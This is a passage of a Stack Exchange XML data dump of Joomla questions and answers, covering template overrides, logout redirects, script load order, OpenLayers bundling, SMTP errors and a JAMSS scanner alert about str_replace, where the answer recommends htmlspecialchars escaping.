  <row Id="28996" PostTypeId="2" ParentId="28975" CreationDate="2021-04-04T08:38:56.460" Score="0" Body="&lt;p&gt;when you are talking about the default joomla category blog checkout how to do a template override - there you can enter your custom position.&lt;/p&gt;&#xA;&lt;p&gt;a good point to start: &lt;a href=&quot;https://docs.joomla.org/J3.x:Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Layout_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;remember : Never edit core files directly&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-04-04T08:38:56.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28997" PostTypeId="1" CreationDate="2021-04-04T13:41:34.787" Score="2" ViewCount="68" Body="&lt;p&gt;I am seeking a way to trigger a redirect on user logout.&lt;/p&gt;&#xA;&lt;p&gt;One obvious way to do this seems liable to cause problems. The event of logout can be used to trigger a plugin using the event &lt;code&gt;onUserLogout&lt;/code&gt;. It's then possible, in the plugin, to call &lt;code&gt;$app-&amp;gt;redirect(&amp;quot;/some/url&amp;quot;);&lt;/code&gt; where &lt;code&gt;$app&lt;/code&gt; is the current application object.&lt;/p&gt;&#xA;&lt;p&gt;However, this has the potentially serious drawback that it seems to stop the processing of plugins that want to be called by &lt;code&gt;onUserLogout&lt;/code&gt;. There may be other plugins that need to run. It also breaks any plugin that has called &lt;code&gt;$app-&amp;gt;logout()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to cause a redirect on logout without this problem?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastEditorUserId="12352" LastEditDate="2021-04-04T22:09:51.370" LastActivityDate="2021-04-04T22:09:51.370" Title="How to redirect in software after logout" Tags="|plugin|redirect|plugin-events|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28998" PostTypeId="2" ParentId="28997" CreationDate="2021-04-04T17:34:19.867" Score="1" Body="&lt;p&gt;in theory i can follow you but have you experienced any issues regarding this?&#xA;i mean - i‘ve never had such issues before.&#xA;on the other hand you can also sort plugins. just an idea but you could „just“ order the plugins and try if this would work. otherwise i would recommend to build a scenario and open a bug report on github.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-04-04T17:34:19.867" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28999" PostTypeId="2" ParentId="28981" CreationDate="2021-04-04T18:53:49.413" Score="1" Body="&lt;p&gt;why would someone has a totaly wrong date on his system?!&#xA;but to answer your question: have you tried to set the filter to server_utc?&lt;/p&gt;&#xA;&lt;p&gt;from the docs:&#xA;filter (optional) is time zone to be used. There are two values; server_utc and user_utc. The first one is server time zone and the later is user time zone as configured in global configuration and user information respectively.&lt;/p&gt;&#xA;&lt;p&gt;to be honest i have not yet tested what happens when you then click on the today button and you have a wrong date setted up in your system. but even then - set the filter is the only option where you could config that with the default date / datetime field.&lt;/p&gt;&#xA;&lt;p&gt;so if its set then to the servers today value - it is correct&#xA;if it sets it to the (wrong) users date its also correct behavior (there is nothing written in the docs to which setting the today button refers to...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-04-04T18:53:49.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29000" PostTypeId="2" ParentId="28978" CreationDate="2021-04-04T23:42:26.650" Score="1" Body="&lt;p&gt;For this to work, MooTools needs to be loaded first, then jQuery (if this is being used) and Google Maps needs to be loaded last.&lt;/p&gt;&#xA;&lt;p&gt;You can sometimes force MooTools to load first by adding this line high up in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section of the template &lt;code&gt;index.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.framework', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Alternatively, download, install and enable the Joomla 1.5 version of &lt;a href=&quot;http://extensions.joomla.org/extension/jquery-easy&quot; rel=&quot;nofollow noreferrer&quot;&gt;jQuery Easy&lt;/a&gt;, set the plugin parameters so jQuery is not enabled, set up the advanced settings so that the MooTools script is stripped and then add the required scripts in the &amp;quot;Add Scripts&amp;quot; section so they load in the correct order (MooTools, then jQuery if this is being used and then Google Maps).&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2021-04-04T23:42:26.650" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29002" PostTypeId="2" ParentId="28963" CreationDate="2021-04-05T21:48:24.720" Score="1" Body="&lt;p&gt;I found a way to solve the problems myself and I will share them here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Problem 1)&lt;/strong&gt; You can either embed your Javascript code in a jQuery(document).ready(function) event handler or, you can simply use the DEFER option when declaring the Javascript code in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section. That will cause it to be executed when the DOM is ready. And then you do not need jQuery at all. In your server side PHP code this would look something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addScript(JURI::base() . '&amp;lt;my javascript&amp;gt;' , array(&amp;quot;async&amp;quot; =&amp;gt; &amp;quot;async&amp;quot;), array(&amp;quot;defer&amp;quot; =&amp;gt; &amp;quot;defer&amp;quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(&lt;code&gt;&amp;lt;my javascript&amp;gt;&lt;/code&gt; is the transpiled code generated by node.js and parcel-bundler (in my case)).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Problem 2).&lt;/strong&gt; You can split your Java-code into a Joomla-dependent script, local.js, that picks up the Joomla-options using &lt;code&gt;Joomla.getOptions()&lt;/code&gt; and make that script invoke another non-Joomla dependent script, main.js and pass parameters as function parameters. I.e. rather than write your Openlayers code like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Main.js:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import 'ol/ol.css';&#xA;import Map from 'ol/Map';&#xA;import OSM from 'ol/source/OSM';&#xA;import TileLayer from 'ol/layer/Tile';&#xA;import View from 'ol/View';&#xA;&#xA;var map = new Map({&#xA;  layers: [&#xA;    new TileLayer({&#xA;      source: new OSM(),&#xA;    }) ],&#xA;  target: 'map-container',&#xA;  view: new View({&#xA;    center: fromLonLat[east, north],&#xA;    zoom: 2,&#xA;  }),&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You write it like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Main.js:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import 'ol/ol.css';&#xA;import Map from 'ol/Map';&#xA;import OSM from 'ol/source/OSM';&#xA;import TileLayer from 'ol/layer/Tile';&#xA;import View from 'ol/View';&#xA;&#xA;window.main = function main(east,north) {&#xA;    var map = new Map({&#xA;      layers: [&#xA;        new TileLayer({&#xA;          source: new OSM(),&#xA;        }) ],&#xA;      target: 'map',&#xA;      view: new View({&#xA;        center: fromLonLat[east, north],&#xA;        zoom: 2,&#xA;      }),&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By declaring the function main() as belonging to &lt;code&gt;window&lt;/code&gt;, you make it global and it becomes possible to invoke it from your joomla-dependent script. There are other ways to make functions available from outside the bundle as discussed in &lt;a href=&quot;https://stackoverflow.com/questions/57602686/javascript-function-wont-trigger-when-called-in-html-file-during-parcel-build&quot;&gt;https://stackoverflow.com/questions/57602686/javascript-function-wont-trigger-when-called-in-html-file-during-parcel-build&lt;/a&gt; but this is an easy method.&lt;/p&gt;&#xA;&lt;p&gt;In order to test and transpile it under node.js you will have to write another version of the first script, local.js, that does not use Joomla functions. Instead, it just provides a set of test parameters to main.js above, ie.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;local.js for testing and transpilation:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;let east = -4.088;&#xA;let north = 42.713;&#xA;main(east,north);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;local.js for production:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;let myOptions = Joomla.getOptions('mod_example');&#xA;let east = myOptions.east;&#xA;let north = myOptions.north;&#xA;main(east,north);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then your serverside PHP code would look something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;// Calculate and transfer options to client-side&#xA;$mapParams = array(.....)&#xA;$document-&amp;gt;addScriptOptions(''mod_example', $mapParams);&#xA;&#xA;// Get CSS and Javascript in place&#xA;$document = Factory::getDocument();&#xA;$options = array(&amp;quot;async&amp;quot; =&amp;gt; &amp;quot;async&amp;quot;);&#xA;$attributes = array(&amp;quot;defer&amp;quot; =&amp;gt; &amp;quot;defer&amp;quot;);&#xA;&#xA;// ... and our own JS and CSS. Except  local.js, code is generated by node.js and parcel.&#xA;$document-&amp;gt;addStyleSheet(JURI::base() . 'media/&amp;lt;my-plugin&amp;gt;/css/&amp;lt;my-plugin&amp;gt;.css' , $options);&#xA;$document-&amp;gt;addScript(JURI::base() . 'media/&amp;lt;my-plugin&amp;gt;/js/main-compiled.js' , $options);&#xA;$document-&amp;gt;addScript(JURI::base() . 'media/&amp;lt;my-plugin&amp;gt;/js/local.js' , $options,$attributes);&#xA;&#xA;&amp;lt;Text substitution code - this is where you substitute a text string with the HTML-code where the map should be targeted), i.e. &amp;lt;DIV id=&amp;quot;map-container&amp;quot; class=&amp;quot;map&amp;quot;&amp;gt;&amp;lt;/DIV&amp;gt; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The CSS file and the main-compiled.js file are the ones transpiled by node.js (found in the dist folder). local.js would be your production version.&lt;/p&gt;&#xA;&lt;p&gt;My plugin is used here: &lt;a href=&quot;https://cnj.dk/blog/camino-de-santiago-2019-images&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cnj.dk/blog/camino-de-santiago-2019-images&lt;/a&gt;. My implementation is not general enough to be relased at the Joomla extension site but go ahead and ask if you need my help to implement something similar.&lt;/p&gt;&#xA;" OwnerUserId="14657" LastEditorUserId="14657" LastEditDate="2021-04-08T09:53:48.630" LastActivityDate="2021-04-08T09:53:48.630" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29003" PostTypeId="2" ParentId="28971" CreationDate="2021-04-06T08:49:22.713" Score="1" Body="&lt;p&gt;I solved my problem&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('form.csrf');&#xA;&#xA;    jimport( 'joomla.html.editor' );&#xA;    &#xA;    $config = JFactory::getConfig();&#xA;    $global_editor = $config-&amp;gt;get( 'editor' );&#xA;    &#xA;    $user_editor = JFactory::getUser()-&amp;gt;getParam(&amp;quot;editor&amp;quot;);&#xA;    &#xA;    if($user_editor &amp;amp;&amp;amp; $user_editor !== 'JEditor') {&#xA;        $selected_editor = $user_editor;&#xA;    } else {&#xA;        $selected_editor = $global_editor;&#xA;    }&#xA;    &#xA;    $editor = JEditor::getInstance($selected_editor);&#xA;    &#xA;    $editor_params = array( 'smilies'=&amp;gt; '0' ,&#xA;        'style'  =&amp;gt; '1' ,&#xA;        'layer'  =&amp;gt; '0' ,&#xA;        'table'  =&amp;gt; '0' ,&#xA;        'clear_entities'=&amp;gt;'0',&#xA;        'mode' =&amp;gt; '1',&#xA;        'buttons' =&amp;gt; 0&#xA;    );&#xA;&#xA;echo &amp;quot;&amp;lt;form&amp;gt; &amp;quot;;&#xA;    echo $editor-&amp;gt;display('editMain', '', '100%', '400', '20', '20', true, null, null, null, $editor_params);&#xA;echo JHtml::_( 'form.token' );&#xA; //echo '&amp;lt;input id=&amp;quot;token&amp;quot; type=&amp;quot;hidden&amp;quot; name=&amp;quot;' . JSession::getFormToken($forceNew = true) . '&amp;quot; value=&amp;quot;1&amp;quot; /&amp;gt;';&#xA;&#xA;echo &amp;quot;&amp;lt;/form&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works .  I was had placed the csfr in the wrong place and once it was in the right place all worked as expected.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2021-04-06T08:49:22.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29004" PostTypeId="1" AcceptedAnswerId="29008" CreationDate="2021-04-06T11:45:51.947" Score="1" ViewCount="968" Body="&lt;p&gt;I update my Joomla version from 3.9.13 to 3.9.25 then I received this error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: require_once(/home/MYHOST/public_html/MYSITE/libraries/joomla/document/html/renderer/head.php): failed to open stream: No such file or directory in /home/MYHOST/public_html/MYSITE/templates/MYTEMPLATE/error.php on line 44&lt;/p&gt;&#xA;&lt;p&gt;Fatal error: require_once(): Failed opening required '/home/MYHOST/public_html/MYSITE/libraries/joomla/document/html/renderer/head.php' (include_path='.:/opt/cpanel/ea-php73/root/usr/share/pear') in /home/MYHOST/public_html/MYSITE/templates/MYTEMPLATE/error.php on line 44&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I searched online and found this advice:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;in MYTEMPLATE &lt;strong&gt;error.php&lt;/strong&gt; change this line&lt;br&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_LIBRARIES.'/joomla/document/html/renderer/head.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!class_exists('JDocumentRendererHead')) {&#xA;    $head = JPATH_LIBRARIES . '/joomla/document/html/renderer/head.php';&#xA;    if (file_exists($head)) {&#xA;        require_once($head);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My problem was fixed, but then I got error 404 and this error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;linkGraylighter is undefined: /home/MYHOST/public_html/MYSITE/templates/MYTEMPLATE/less/presets.less on line 204&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I checked this line, but I can't find any code here just some enter...&lt;/p&gt;&#xA;&lt;p&gt;I delete enter, but I receive error on line 203 and in 203 line you can see just ( } ).&lt;/p&gt;&#xA;" OwnerUserId="15061" LastEditorUserId="12352" LastEditDate="2021-04-06T22:56:32.327" LastActivityDate="2021-04-07T13:58:33.687" Title="Failed opening required JPATH_LIBRARIES.'/joomla/document/html/renderer/head.php" Tags="|php|joomla-3.9|helix3|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29006" PostTypeId="1" AcceptedAnswerId="29011" CreationDate="2021-04-06T21:07:37.540" Score="1" ViewCount="216" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SVx30.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SVx30.png&quot; alt=&quot;Global Configuration&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to use SMTP with Office365 settings but I keep getting SMTP cannot connect.    I attach a screenshot of my settings.&lt;/p&gt;&#xA;&lt;p&gt;With my host you have to allow SMTP to be sent which I have done.&lt;/p&gt;&#xA;&lt;p&gt;When I send a test mail it just says &amp;quot;mail cannot be sent&amp;quot; quick quickly.&lt;/p&gt;&#xA;&lt;p&gt;Saving takes long and I get this fantastic message&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Notice&#xA;The following from address failed: root@localhost : MAIL FROM command failed,000030020000000000000100000000000000, 20.52176:140F9F8F2000F01F1F001432, 20.50032:140F9F8F9017F01F07000000, 0.35180:1F000130, 255.23226:35230000, 255.27962:7A000000, 255.27962:0A000000, 255.27962:0E000000, 255.31418:21000000, 0.35250:1F001336, 1.36674:0A000000, 1.61250:00000000, 1.45378:02000000, 1.44866:CE000000, 1.36674:32000000, 1.61250:00000000, 1.45378:D3000000, 1.44866:01000000, 16.55847:3A010000, 17.43559:0000000078030000000000000100000000000000, 20.52176:140F9F8F2000101068000000, 20.50032:140F9F8F9017000008240000, 0.35180:6D000000, 255.23226:0A000C80, 255.27962:0A000000, 255.27962:32000000, 255.17082:DC040000, 0.27745:3E240000, 4.21921:DC040000, 255.27962:FA000000, 255.1494:6F240000, 0.38698:05000780, 0.37692:01000000, 0.37948:19000010, 5.33852:00000000534D545000000010, 7.36354:010000000000010902000010, 4.56248:DC040000, 7.40748:010000000000010B02000010, 7.57132:000000000000000011000010, 1.63016:32000000, 4.39640:DC040000, 8.45434:7CDFA38FCC22984DA98ED3CA8D3C70CF02000010, 1.46798:04000000, 5.10786:0000000031352E32302E333939392E3033323A4C4F32503236354D42323839333A32633063326639342D653966652D343561642D613937312D6330356138326563633766373A323031320010, 7.51330:0C32946637F9D8081E000010, 0.39570:02000010, 1.55954:0A000000, 0.49266:04000000, 1.33010:0A000000, 2.54258:00000000, 0.40002:07000000, 1.56562:00000000, 1.64146:32000000, 1.33010:32000000, 2.54258:DC040000, 255.1750:0A006136, 255.31418:99260000, 0.22753:BA000000, 255.21817:DC040000, 0.64418:CA260000, 4.39842:DC040000, 0.41586:03000336, 4.60547:DC040000, 0.21966:C4000000, 4.30158:DC040000 [Hostname=LO2P265MB2893.GBRP265.PROD.OUTLOOK.COM] 250 2.1.0 Sender OK ,000,SMTP server error: MAIL FROM command failed Detail: 000030020000000000000100000000000000, 20.52176:140F9F8F2000F01F1F001432, 20.50032:140F9F8F9017F01F07000000, 0.35180:1F000130, 255.23226:35230000, 255.27962:7A000000, 255.27962:0A000000, 255.27962:0E000000, 255.31418:21000000, 0.35250:1F001336, 1.36674:0A000000, 1.61250:00000000, 1.45378:02000000, 1.44866:CE000000, 1.36674:32000000, 1.61250:00000000, 1.45378:D3000000, 1.44866:01000000, 16.55847:3A010000, 17.43559:0000000078030000000000000100000000000000, 20.52176:140F9F8F2000101068000000, 20.50032:140F9F8F9017000008240000, 0.35180:6D000000, 255.23226:0A000C80, 255.27962:0A000000, 255.27962:32000000, 255.17082:DC040000, 0.27745:3E240000, 4.21921:DC040000, 255.27962:FA000000, 255.1494:6F240000, 0.38698:05000780, 0.37692:01000000, 0.37948:19000010, 5.33852:00000000534D545000000010, 7.36354:010000000000010902000010, 4.56248:DC040000, 7.40748:010000000000010B02000010, 7.57132:000000000000000011000010, 1.63016:32000000, 4.39640:DC040000, 8.45434:7CDFA38FCC22984DA98ED3CA8D3C70CF02000010, 1.46798:04000000, 5.10786:0000000031352E32302E333939392E3033323A4C4F32503236354D42323839333A32633063326639342D653966652D343561642D613937312D6330356138326563633766373A323031320010, 7.51330:0C32946637F9D8081E000010, 0.39570:02000010, 1.55954:0A000000, 0.49266:04000000, 1.33010:0A000000, 2.54258:00000000, 0.40002:07000000, 1.56562:00000000, 1.64146:32000000, 1.33010:32000000, 2.54258:DC040000, 255.1750:0A006136, 255.31418:99260000, 0.22753:BA000000, 255.21817:DC040000, 0.64418:CA260000, 4.39842:DC040000, 0.41586:03000336, 4.60547:DC040000, 0.21966:C4000000, 4.30158:DC040000 [Hostname=LO2P265MB2893.GBRP265.PROD.OUTLOOK.COM] 250 2.1.0 Sender OK SMTP code: 000SMTP server error: MAIL FROM command failed Detail: 000030020000000000000100000000000000, 20.52176:140F9F8F2000F01F1F001432, 20.50032:140F9F8F9017F01F07000000, 0.35180:1F000130, 255.23226:35230000, 255.27962:7A000000, 255.27962:0A000000, 255.27962:0E000000, 255.31418:21000000, 0.35250:1F001336, 1.36674:0A000000, 1.61250:00000000, 1.45378:02000000, 1.44866:CE000000, 1.36674:32000000, 1.61250:00000000, 1.45378:D3000000, 1.44866:01000000, 16.55847:3A010000, 17.43559:0000000078030000000000000100000000000000, 20.52176:140F9F8F2000101068000000, 20.50032:140F9F8F9017000008240000, 0.35180:6D000000, 255.23226:0A000C80, 255.27962:0A000000, 255.27962:32000000, 255.17082:DC040000, 0.27745:3E240000, 4.21921:DC040000, 255.27962:FA000000, 255.1494:6F240000, 0.38698:05000780, 0.37692:01000000, 0.37948:19000010, 5.33852:00000000534D545000000010, 7.36354:010000000000010902000010, 4.56248:DC040000, 7.40748:010000000000010B02000010, 7.57132:000000000000000011000010, 1.63016:32000000, 4.39640:DC040000, 8.45434:7CDFA38FCC22984DA98ED3CA8D3C70CF02000010, 1.46798:04000000, 5.10786:0000000031352E32302E333939392E3033323A4C4F32503236354D42323839333A32633063326639342D653966652D343561642D613937312D6330356138326563633766373A323031320010, 7.51330:0C32946637F9D8081E000010, 0.39570:02000010, 1.55954:0A000000, 0.49266:04000000, 1.33010:0A000000, 2.54258:00000000, 0.40002:07000000, 1.56562:00000000, 1.64146:32000000, 1.33010:32000000, 2.54258:DC040000, 255.1750:0A006136, 255.31418:99260000, 0.22753:BA000000, 255.21817:DC040000, 0.64418:CA260000, 4.39842:DC040000, 0.41586:03000336, 4.60547:DC040000, 0.21966:C4000000, 4.30158:DC040000 [Hostname=LO2P265MB2893.GBRP265.PROD.OUTLOOK.COM] 250 2.1.0 Sender OK SMTP code: 000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-05-07T21:01:50.223" Title="office365 SMTP cannot connect" Tags="|smtp|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29007" PostTypeId="2" ParentId="28986" CreationDate="2021-04-07T03:35:34.253" Score="0" Body="&lt;p&gt;In a fresh Joomla install, the above code works as expected - the editor is shown as expected.&lt;/p&gt;&#xA;&lt;p&gt;One thing to note, The &amp;quot;buttons&amp;quot; parameter is expected to be boolean, so you don't need the quotes around your &amp;quot;true&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;When you say the &amp;quot;buttons won't show on load&amp;quot;, what do you actually mean? Does the TinyMCE editor load, but without buttons? Or is it the textarea with raw HTML shown that you would see if you toggle the editor off?&lt;/p&gt;&#xA;&lt;p&gt;In the TinyMCE plugin settings, you can control the buttons that are shown per group level - can you confirm that the user you are logging is as is correctly assigned to the right group, and that group has a toolbar set defined?&lt;/p&gt;&#xA;" OwnerUserId="14026" LastActivityDate="2021-04-07T03:35:34.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29008" PostTypeId="2" ParentId="29004" CreationDate="2021-04-07T13:58:33.687" Score="0" Body="&lt;p&gt;I find my problem.&lt;/p&gt;&#xA;&lt;p&gt;For fix this problem :&lt;/p&gt;&#xA;&lt;p&gt;Go to Helix template &amp;gt; advanced tab &amp;gt;  Compile LESS to CSS = NO&lt;/p&gt;&#xA;" OwnerUserId="15061" LastActivityDate="2021-04-07T13:58:33.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29010" PostTypeId="2" ParentId="21754" CreationDate="2021-04-07T14:36:04.250" Score="0" Body="&lt;p&gt;For local development, there is nothing better than a Docker. We develop exclusively in a Docker.&lt;br /&gt;&#xA;That's no magic either. Simple LAMP conatiner, install joomla once, dump db and store everything together in Git. All plugins, modules, components are included as submodules.&lt;/p&gt;&#xA;&lt;p&gt;The main repo of a component consists of several submodules (site, admin, media,...) which are furthermore included as submodules at the respective places. For the language files we have a script that copies the file to the appropriate places.&lt;/p&gt;&#xA;&lt;p&gt;Only the handling of database changes is still a problem from my point of view. Here we usually work manually. Actually, it's a pity that Joomla doesn't work like Moodle, for example, where database changes are recognized and an update step is required. Possibly, in the medium term, a contribution to the Joomla Core could be made for this. Would be in any case an interesting challenge!&lt;/p&gt;&#xA;&lt;p&gt;Oh well, to make an installation package out of it later, it is enough to check out and zip the submodule of the respective plugin/module or the main repo of the component at any place (outside of Docker).&lt;/p&gt;&#xA;" OwnerUserId="15063" LastActivityDate="2021-04-07T14:36:04.250" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29011" PostTypeId="2" ParentId="29006" CreationDate="2021-04-07T20:10:22.067" Score="0" Body="&lt;p&gt;I spoke to my host and they turned on some settings when they did an update to the server.  My server is based on Litespeed Webserver so it could have been that.  Or possibly they updated the OpenSSL feature because I saw that mentioned in the documentation.&lt;/p&gt;&#xA;&lt;p&gt;Lesson to learn: ask your host&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-04-07T20:10:22.067" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29012" PostTypeId="1" AcceptedAnswerId="29015" CreationDate="2021-04-08T17:08:40.547" Score="1" ViewCount="54" Body="&lt;p&gt;I am receiving an alert in JED Checker, the line of code that generates the alert contains &lt;code&gt;str_replace&lt;/code&gt; which is used to replace of spaces with hyphens.&lt;/p&gt;&#xA;&lt;p&gt;Here the code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$uniqueFilter = array_unique($unique_filter);&#xA;foreach ($uniqueFilter as $filter) {&#xA;    echo '&amp;lt;a href=&amp;quot;#&amp;quot; class=&amp;quot;filter-item&amp;quot; data-group=&amp;quot;.'.str_replace(' ', '-', $filter).'&amp;quot;&amp;gt;'.$filter.'&amp;lt;/a&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would like to know if &lt;code&gt;str_replace&lt;/code&gt; or &lt;code&gt;preg_replace&lt;/code&gt; is a danger and why they have it marked to generate an alert.&lt;/p&gt;&#xA;" OwnerUserId="7417" LastEditorUserId="12352" LastEditDate="2021-04-08T23:38:36.130" LastActivityDate="2021-04-09T05:38:21.087" Title="JED Checker - Rule Jamss - JAMSS - Joomla! Anti-Malware Scan Script" Tags="|joomla-3.x|security|jed|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29013" PostTypeId="2" ParentId="29012" CreationDate="2021-04-08T22:11:52.980" Score="2" Body="&lt;p&gt;Keep in mind that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/btoplak/Joomla-Anti-Malware-Scan-Script--JAMSS-/blob/master/README.md#:%7E:text=this%20script%20gives%20out%20many%20false,%20so%20be%20cautious&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/btoplak/Joomla-Anti-Malware-Scan-Script--JAMSS-/blob/master/README.md#:~:text=this%20script%20gives%20out%20many%20false,%20so%20be%20cautious&lt;/a&gt; says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;this script gives out many false-positive files, as it is not &amp;quot;ironed out&amp;quot; yet, so be cautious&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/btoplak/Joomla-Anti-Malware-Scan-Script--JAMSS-/blob/master/README.md#status&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/btoplak/Joomla-Anti-Malware-Scan-Script--JAMSS-/blob/master/README.md#status&lt;/a&gt; says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;BETA - This is a &amp;quot;work in progress&amp;quot; so let me know if you have any problems, found bug, have questions or wish to help in some way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;That said, I must assume that the script doesn't like that you aren't calling &lt;code&gt;htmlspecialchars()&lt;/code&gt;&lt;/strong&gt; on a variable being printed into an html document. Have a read of &lt;a href=&quot;https://stackoverflow.com/q/4882307/2943403&quot;&gt;https://stackoverflow.com/q/4882307/2943403&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/a/46491/2943403&quot;&gt;https://stackoverflow.com/a/46491/2943403&lt;/a&gt;. I don't see any potential vulnerability in executing that very trivial string manipulation with &lt;code&gt;str_replace()&lt;/code&gt; -- I think this is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Red_herring&quot; rel=&quot;nofollow noreferrer&quot;&gt;red herring&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you, yourself, are worried about this being an attack vector, then you should sanitise the string as much as possible.  Will it contain only letters?  letters and numbers? any allowed symbols?  A regex to strip unwelcome characters could be a good idea.&lt;/p&gt;&#xA;&lt;p&gt;I might code it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach (array_unique($unique_filter) as $filter) {&#xA;    printf(&#xA;        '&amp;lt;a href=&amp;quot;#&amp;quot; class=&amp;quot;filter-item&amp;quot; data-group=&amp;quot;%s&amp;quot;&amp;gt;%s&amp;lt;/a&amp;gt;',&#xA;        htmlspecialchars(str_replace(' ', '-', $filter)),&#xA;        htmlspecialchars($filter)&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This way you:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;keep the code width short and&lt;/li&gt;&#xA;&lt;li&gt;eliminate the single-use variable &lt;code&gt;$uniqueFilter&lt;/code&gt; and&lt;/li&gt;&#xA;&lt;li&gt;eliminate the noise of concatenating of text and function calls&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-04-09T04:31:48.763" LastActivityDate="2021-04-09T04:31:48.763" CommentCount="3" ContentLicense="CC 